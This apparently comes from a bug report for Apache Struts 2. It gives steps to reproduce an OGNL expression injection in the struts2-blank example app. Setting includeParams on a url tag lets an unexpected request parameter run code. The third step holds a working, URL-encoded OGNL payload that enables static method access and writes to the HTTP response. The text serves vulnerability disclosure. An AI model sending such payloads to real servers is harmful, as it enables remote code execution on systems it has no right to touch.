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1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:

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   includeParams="all"

   Such that the line will be something look like this:

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   <s:url id="url" action="HelloWorld" includeParams="all">

   (it works also with includeParams="get").
2. Run struts2-blank app
3. Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
   (this is the shortened version http://goo.gl/lhlTl^{Image Removed})

As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter.

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